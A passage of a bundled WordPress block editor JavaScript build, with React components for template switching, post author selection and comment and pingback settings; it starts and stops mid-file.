 * 		PluginSidebarMoreMenuItem,
 * 		{
 * 			target: 'my-sidebar',
 * 			icon: moreIcon,
 * 		},
 * 		__( 'My sidebar title' )
 * 	)
 * }
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PluginSidebarMoreMenuItem } from '@wordpress/editor';
 * import { more } from '@wordpress/icons';
 *
 * const MySidebarMoreMenuItem = () => (
 * 	<PluginSidebarMoreMenuItem
 * 		target="my-sidebar"
 * 		icon={ more }
 * 	>
 * 		{ __( 'My sidebar title' ) }
 * 	</PluginSidebarMoreMenuItem>
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */

function PluginSidebarMoreMenuItem(props) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaMoreMenuItem
  // Menu item is marked with unstable prop for backward compatibility.
  // @see https://github.com/WordPress/gutenberg/issues/14457
  , {
    __unstableExplicitMenuItem: true,
    scope: "core",
    ...props
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/swap-template-button.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */


function SwapTemplateButton({
  onClick
}) {
  const [showModal, setShowModal] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    postType,
    postId
  } = useEditedPostContext();
  const availableTemplates = useAvailableTemplates(postType);
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  if (!availableTemplates?.length) {
    return null;
  }
  const onTemplateSelect = async template => {
    editEntityRecord('postType', postType, postId, {
      template: template.name
    }, {
      undoIgnore: true
    });
    setShowModal(false); // Close the template suggestions modal first.
    onClick();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      onClick: () => setShowModal(true),
      children: (0,external_wp_i18n_namespaceObject.__)('Change template')
    }), showModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Choose a template'),
      onRequestClose: () => setShowModal(false),
      overlayClassName: "editor-post-template__swap-template-modal",
      isFullScreen: true,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "editor-post-template__swap-template-modal-content",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatesList, {
          postType: postType,
          onSelect: onTemplateSelect
        })
      })
    })]
  });
}
function TemplatesList({
  postType,
  onSelect
}) {
  const availableTemplates = useAvailableTemplates(postType);
  const templatesAsPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => availableTemplates.map(template => ({
    name: template.slug,
    blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content.raw),
    title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title.rendered),
    id: template.id
  })), [availableTemplates]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList, {
    label: (0,external_wp_i18n_namespaceObject.__)('Templates'),
    blockPatterns: templatesAsPatterns,
    onClickPattern: onSelect
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/reset-default-template.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


function ResetDefaultTemplate({
  onClick
}) {
  const currentTemplateSlug = useCurrentTemplateSlug();
  const allowSwitchingTemplate = useAllowSwitchingTemplates();
  const {
    postType,
    postId
  } = useEditedPostContext();
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  // The default template in a post is indicated by an empty string.
  if (!currentTemplateSlug || !allowSwitchingTemplate) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
    onClick: () => {
      editEntityRecord('postType', postType, postId, {
        template: ''
      }, {
        undoIgnore: true
      });
      onClick();
    },
    children: (0,external_wp_i18n_namespaceObject.__)('Use default template')
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/create-new-template.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



function CreateNewTemplate({
  onClick
}) {
  const {
    canCreateTemplates
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      canCreateTemplates: canUser('create', {
        kind: 'postType',
        name: 'wp_template'
      })
    };
  }, []);
  const [isCreateModalOpen, setIsCreateModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const allowSwitchingTemplate = useAllowSwitchingTemplates();

  // The default template in a post is indicated by an empty string.
  if (!canCreateTemplates || !allowSwitchingTemplate) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      onClick: () => {
        setIsCreateModalOpen(true);
      },
      children: (0,external_wp_i18n_namespaceObject.__)('Create new template')
    }), isCreateModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateNewTemplateModal, {
      onClose: () => {
        setIsCreateModalOpen(false);
        onClick();
      }
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/block-theme.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */


/**
 * Internal dependencies
 */






function BlockThemeControl({
  id
}) {
  const {
    isTemplateHidden,
    onNavigateToEntityRecord,
    getEditorSettings,
    hasGoBack
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getRenderingMode,
      getEditorSettings: _getEditorSettings
    } = unlock(select(store_store));
    const editorSettings = _getEditorSettings();
    return {
      isTemplateHidden: getRenderingMode() === 'post-only',
      onNavigateToEntityRecord: editorSettings.onNavigateToEntityRecord,
      getEditorSettings: _getEditorSettings,
      hasGoBack: editorSettings.hasOwnProperty('onNavigateToPreviousEntityRecord')
    };
  }, []);
  const {
    get: getPreference
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_preferences_namespaceObject.store);
  const {
    editedRecord: template,
    hasResolved
  } = (0,external_wp_coreData_namespaceObject.useEntityRecord)('postType', 'wp_template', id);
  const {
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    setRenderingMode,
    setDefaultRenderingMode
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  const canCreateTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => !!select(external_wp_coreData_namespaceObject.store).canUser('create', {
    kind: 'postType',
    name: 'wp_template'
  }), []);
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    className: 'editor-post-template__dropdown',
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  if (!hasResolved) {
    return null;
  }

  // The site editor does not have a `onNavigateToPreviousEntityRecord` setting as it uses its own routing
  // and assigns its own backlink to focusMode pages.
  const notificationAction = hasGoBack ? [{
    label: (0,external_wp_i18n_namespaceObject.__)('Go back'),
    onClick: () => getEditorSettings().onNavigateToPreviousEntityRecord()
  }] : undefined;
  const mayShowTemplateEditNotice = () => {
    if (!getPreference('core/edit-site', 'welcomeGuideTemplate')) {
      createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Editing template. Changes made here affect all posts and pages that use the template.'), {
        type: 'snackbar',
        actions: notificationAction
      });
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Template'),
    ref: setPopoverAnchor,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
      popoverProps: popoverProps,
      focusOnMount: true,
      toggleProps: {
        size: 'compact',
        variant: 'tertiary',
        tooltipPosition: 'middle left'
      },
      label: (0,external_wp_i18n_namespaceObject.__)('Template options'),
      text: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title),
      icon: null,
      children: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
          children: [canCreateTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              onNavigateToEntityRecord({
                postId: template.id,
                postType: 'wp_template'
              });
              onClose();
              mayShowTemplateEditNotice();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Edit template')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SwapTemplateButton, {
            onClick: onClose
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResetDefaultTemplate, {
            onClick: onClose
          }), canCreateTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateNewTemplate, {
            onClick: onClose
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            icon: !isTemplateHidden ? library_check : undefined,
            isSelected: !isTemplateHidden,
            role: "menuitemcheckbox",
            onClick: () => {
              const newRenderingMode = isTemplateHidden ? 'template-locked' : 'post-only';
              setRenderingMode(newRenderingMode);
              setDefaultRenderingMode(newRenderingMode);
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Show template')
          })
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/panel.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




/**
 * Displays the template controls based on the current editor settings and user permissions.
 *
 * @return {React.ReactNode} The rendered PostTemplatePanel component.
 */

function PostTemplatePanel() {
  const {
    templateId,
    isBlockTheme
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentTemplateId,
      getEditorSettings
    } = select(store_store);
    return {
      templateId: getCurrentTemplateId(),
      isBlockTheme: getEditorSettings().__unstableIsBlockBasedTheme
    };
  }, []);
  const isVisible = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$canUser;
    const postTypeSlug = select(store_store).getCurrentPostType();
    const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
    if (!postType?.viewable) {
      return false;
    }
    const settings = select(store_store).getEditorSettings();
    const hasTemplates = !!settings.availableTemplates && Object.keys(settings.availableTemplates).length > 0;
    if (hasTemplates) {
      return true;
    }
    if (!settings.supportsTemplateMode) {
      return false;
    }
    const canCreateTemplates = (_select$canUser = select(external_wp_coreData_namespaceObject.store).canUser('create', {
      kind: 'postType',
      name: 'wp_template'
    })) !== null && _select$canUser !== void 0 ? _select$canUser : false;
    return canCreateTemplates;
  }, []);
  const canViewTemplates = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$canUser2;
    return (_select$canUser2 = select(external_wp_coreData_namespaceObject.store).canUser('read', {
      kind: 'postType',
      name: 'wp_template'
    })) !== null && _select$canUser2 !== void 0 ? _select$canUser2 : false;
  }, []);
  if ((!isBlockTheme || !canViewTemplates) && isVisible) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(classic_theme, {});
  }
  if (isBlockTheme && !!templateId) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockThemeControl, {
      id: templateId
    });
  }
  return null;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-author/constants.js
const BASE_QUERY = {
  _fields: 'id,name',
  context: 'view' // Allows non-admins to perform requests.
};
const AUTHORS_QUERY = {
  who: 'authors',
  per_page: 100,
  ...BASE_QUERY
};

;// ./node_modules/@wordpress/editor/build-module/components/post-author/hook.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


function useAuthorsQuery(search) {
  const {
    authorId,
    authors,
    postAuthor,
    isLoading
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getUser,
      getUsers,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      getEditedPostAttribute
    } = select(store_store);
    const _authorId = getEditedPostAttribute('author');
    const query = {
      ...AUTHORS_QUERY
    };
    if (search) {
      query.search = search;
      query.search_columns = ['name'];
    }
    return {
      authorId: _authorId,
      authors: getUsers(query),
      postAuthor: getUser(_authorId, BASE_QUERY),
      isLoading: isResolving('getUsers', [query])
    };
  }, [search]);
  const authorOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const fetchedAuthors = (authors !== null && authors !== void 0 ? authors : []).map(author => {
      return {
        value: author.id,
        label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(author.name)
      };
    });

    // Ensure the current author is included in the dropdown list.
    const foundAuthor = fetchedAuthors.findIndex(({
      value
    }) => postAuthor?.id === value);
    let currentAuthor = [];
    if (foundAuthor < 0 && postAuthor) {
      currentAuthor = [{
        value: postAuthor.id,
        label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postAuthor.name)
      }];
    } else if (foundAuthor < 0 && !postAuthor) {
      currentAuthor = [{
        value: 0,
        label: (0,external_wp_i18n_namespaceObject.__)('(No author)')
      }];
    }
    return [...currentAuthor, ...fetchedAuthors];
  }, [authors, postAuthor]);
  return {
    authorId,
    authorOptions,
    postAuthor,
    isLoading
  };
}

;// ./node_modules/@wordpress/editor/build-module/components/post-author/combobox.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



function PostAuthorCombobox() {
  const [fieldValue, setFieldValue] = (0,external_wp_element_namespaceObject.useState)();
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    authorId,
    authorOptions,
    isLoading
  } = useAuthorsQuery(fieldValue);

  /**
   * Handle author selection.
   *
   * @param {number} postAuthorId The selected Author.
   */
  const handleSelect = postAuthorId => {
    if (!postAuthorId) {
      return;
    }
    editPost({
      author: postAuthorId
    });
  };

  /**
   * Handle user input.
   *
   * @param {string} inputValue The current value of the input field.
   */
  const handleKeydown = inputValue => {
    setFieldValue(inputValue);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ComboboxControl, {
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    label: (0,external_wp_i18n_namespaceObject.__)('Author'),
    options: authorOptions,
    value: authorId,
    onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(handleKeydown, 300),
    onChange: handleSelect,
    allowReset: false,
    hideLabelFromVision: true,
    isLoading: isLoading
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-author/select.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



function PostAuthorSelect() {
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    authorId,
    authorOptions
  } = useAuthorsQuery();
  const setAuthorId = value => {
    const author = Number(value);
    editPost({
      author
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
    __next40pxDefaultSize: true,
    __nextHasNoMarginBottom: true,
    className: "post-author-selector",
    label: (0,external_wp_i18n_namespaceObject.__)('Author'),
    options: authorOptions,
    onChange: setAuthorId,
    value: authorId,
    hideLabelFromVision: true
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-author/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




const minimumUsersForCombobox = 25;

/**
 * Renders the component for selecting the post author.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PostAuthor() {
  const showCombobox = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const authors = select(external_wp_coreData_namespaceObject.store).getUsers(AUTHORS_QUERY);
    return authors?.length >= minimumUsersForCombobox;
  }, []);
  if (showCombobox) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorCombobox, {});
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorSelect, {});
}
/* harmony default export */ const post_author = (PostAuthor);

;// ./node_modules/@wordpress/editor/build-module/components/post-author/check.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




/**
 * Wrapper component that renders its children only if the post type supports the author.
 *
 * @param {Object}          props          The component props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} The component to be rendered. Return `null` if the post type doesn't
 * supports the author or if there are no authors available.
 */

function PostAuthorCheck({
  children
}) {
  const {
    hasAssignAuthorAction,
    hasAuthors
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const post = select(store_store).getCurrentPost();
    const canAssignAuthor = post?._links?.['wp:action-assign-author'] ? true : false;
    return {
      hasAssignAuthorAction: canAssignAuthor,
      hasAuthors: canAssignAuthor ? select(external_wp_coreData_namespaceObject.store).getUsers(AUTHORS_QUERY)?.length >= 1 : false
    };
  }, []);
  if (!hasAssignAuthorAction || !hasAuthors) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
    supportKeys: "author",
    children: children
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-author/panel.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */





function PostAuthorToggle({
  isOpen,
  onClick
}) {
  const {
    postAuthor
  } = useAuthorsQuery();
  const authorName = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postAuthor?.name) || (0,external_wp_i18n_namespaceObject.__)('(No author)');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    size: "compact",
    className: "editor-post-author__panel-toggle",
    variant: "tertiary",
    "aria-expanded": isOpen,
    "aria-label":
    // translators: %s: Author name.
    (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Change author: %s'), authorName),
    onClick: onClick,
    children: authorName
  });
}

/**
 * Renders the Post Author Panel component.
 *
 * @return {React.ReactNode} The rendered component.
 */
function panel_PostAuthor() {
  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
      label: (0,external_wp_i18n_namespaceObject.__)('Author'),
      ref: setPopoverAnchor,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
        popoverProps: popoverProps,
        contentClassName: "editor-post-author__panel-dialog",
        focusOnMount: true,
        renderToggle: ({
          isOpen,
          onToggle
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorToggle, {
          isOpen: isOpen,
          onClick: onToggle
        }),
        renderContent: ({
          onClose
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
          className: "editor-post-author",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
            title: (0,external_wp_i18n_namespaceObject.__)('Author'),
            onClose: onClose
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_author, {
            onClose: onClose
          })]
        })
      })
    })
  });
}
/* harmony default export */ const panel = (panel_PostAuthor);

;// ./node_modules/@wordpress/editor/build-module/components/post-comments/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const COMMENT_OPTIONS = [{
  label: (0,external_wp_i18n_namespaceObject._x)('Open', 'Adjective: e.g. "Comments are open"'),
  value: 'open',
  description: (0,external_wp_i18n_namespaceObject.__)('Visitors can add new comments and replies.')
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Closed'),
  value: 'closed',
  description: [(0,external_wp_i18n_namespaceObject.__)('Visitors cannot add new comments or replies.'), (0,external_wp_i18n_namespaceObject.__)('Existing comments remain visible.')].join(' ')
}];
function PostComments() {
  const commentStatus = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getEditedPost;
    return (_select$getEditedPost = select(store_store).getEditedPostAttribute('comment_status')) !== null && _select$getEditedPost !== void 0 ? _select$getEditedPost : 'open';
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const handleStatus = newCommentStatus => editPost({
    comment_status: newCommentStatus
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 4,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
        className: "editor-change-status__options",
        hideLabelFromVision: true,
        label: (0,external_wp_i18n_namespaceObject.__)('Comment status'),
        options: COMMENT_OPTIONS,
        onChange: handleStatus,
        selected: commentStatus
      })
    })
  });
}

/**
 * A form for managing comment status.
 *
 * @return {React.ReactNode} The rendered PostComments component.
 */
/* harmony default export */ const post_comments = (PostComments);

;// ./node_modules/@wordpress/editor/build-module/components/post-pingbacks/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


function PostPingbacks() {
  const pingStatus = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getEditedPost;
    return (_select$getEditedPost = select(store_store).getEditedPostAttribute('ping_status')) !== null && _select$getEditedPost !== void 0 ? _select$getEditedPost : 'open';
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const onTogglePingback = () => editPost({
    ping_status: pingStatus === 'open' ? 'closed' : 'open'
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
    __nextHasNoMarginBottom: true,
    label: (0,external_wp_i18n_namespaceObject.__)('Enable pingbacks & trackbacks'),
    checked: pingStatus === 'open',
    onChange: onTogglePingback,
    help: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
      href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/trackbacks-and-pingbacks/'),
      children: (0,external_wp_i18n_namespaceObject.__)('Learn more about pingbacks & trackbacks')
    })
  });
}

/**
 * Renders a control for enabling or disabling pingbacks and trackbacks
 * in a WordPress post.
 *
 * @module PostPingbacks
 */
/* harmony default export */ const post_pingbacks = (PostPingbacks);

;// ./node_modules/@wordpress/editor/build-module/components/post-discussion/panel.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */






const panel_PANEL_NAME = 'discussion-panel';
function ModalContents({
  onClose
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-discussion",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
      title: (0,external_wp_i18n_namespaceObject.__)('Discussion'),
      onClose: onClose
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 4,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
        supportKeys: "comments",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_comments, {})
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
        supportKeys: "trackbacks",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_pingbacks, {})
      })]
    })]
  });
}
function PostDiscussionToggle({
  isOpen,
  onClick
}) {
  const {
    commentStatus,
    pingStatus,
    commentsSupported,
    trackbacksSupported
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getEditedPostAttribu, _getEditedPostAttribu2;
    const {
      getEditedPostAttribute
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    const postType = getPostType(getEditedPostAttribute('type'));
    return {
      commentStatus: (_getEditedPostAttribu = getEditedPostAttribute('comment_status')) !== null && _getEditedPostAttribu !== void 0 ? _getEditedPostAttribu : 'open',
      pingStatus: (_getEditedPostAttribu2 = getEditedPostAttribute('ping_status')) !== null && _getEditedPostAttribu2 !== void 0 ? _getEditedPostAttribu2 : 'open',
      commentsSupported: !!postType.supports.comments,
      trackbacksSupported: !!postType.supports.trackbacks
    };
  }, []);
  let label;
  if (commentStatus === 'open') {
    if (pingStatus === 'open') {
      label = (0,external_wp_i18n_namespaceObject._x)('Open', 'Adjective: e.g. "Comments are open"');
    } else {
      label = trackbacksSupported ? (0,external_wp_i18n_namespaceObject.__)('Comments only') : (0,external_wp_i18n_namespaceObject._x)('Open', 'Adjective: e.g. "Comments are open"');
    }
  } else if (pingStatus === 'open') {
    label = commentsSupported ? (0,external_wp_i18n_namespaceObject.__)('Pings only') : (0,external_wp_i18n_namespaceObject.__)('Pings enabled');
  } else {
    label = (0,external_wp_i18n_namespaceObject.__)('Closed');
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    size: "compact",
    className: "editor-post-discussion__panel-toggle",
    variant: "tertiary",
    "aria-label": (0,external_wp_i18n_namespaceObject.__)('Change discussion options'),
    "aria-expanded": isOpen,
    onClick: onClick,
    children: label
  });
}

/**
 * This component allows to update comment and pingback
 * settings for the current post. Internally there are
 * checks whether the current post has support for the
 * above and if the `discussion-panel` panel is enabled.
 *
 * @return {React.ReactNode} The rendered PostDiscussionPanel component.
 */
function PostDiscussionPanel() {
  const {
    isEnabled
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditorPanelEnabled
    } = select(store_store);
    return {
      isEnabled: isEditorPanelEnabled(panel_PANEL_NAME)
    };
  }, []);

  // Use internal state instead of a ref to make sure that the component
  // re-renders when the popover's anchor updates.
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  if (!isEnabled) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
    supportKeys: ['comments', 'trackbacks'],
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
      label: (0,external_wp_i18n_namespaceObject.__)('Discussion'),
      ref: setPopoverAnchor,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
        popoverProps: popoverProps,
        className: "editor-post-discussion__panel-dropdown",
        contentClassName: "editor-post-discussion__panel-dialog",
        focusOnMount: true,
        renderToggle: ({
          isOpen,
          onToggle
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostDiscussionToggle, {
          isOpen: isOpen,
          onClick: onToggle
        }),
        renderContent: ({
          onClose
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ModalContents, {
          onClose: onClose
        })
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


/**
 * Renders an editable textarea for the post excerpt.
 * Templates, template parts and patterns use the `excerpt` field as a description semantically.
 * Additionally templates and template parts override the `excerpt` field as `description` in
 * REST API. So this component handles proper labeling and updating the edited entity.
 *
 * @param {Object}  props                             - Component props.
 * @param {boolean} [props.hideLabelFromVision=false] - Whether to visually hide the textarea's label.
 * @param {boolean} [props.updateOnBlur=false]        - Whether to update the post on change or use local state and update on blur.
 */

function PostExcerpt({
  hideLabelFromVision = false,
  updateOnBlur = false
}) {
  const {
    excerpt,
    shouldUseDescriptionLabel,
    usedAttribute
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getEditedPostAttribute
    } = select(store_store);
    const postType = getCurrentPostType();
    // This special case is unfortunate, but the REST API of wp_template and wp_template_part
    // support the excerpt field through the "description" field rather than "excerpt".
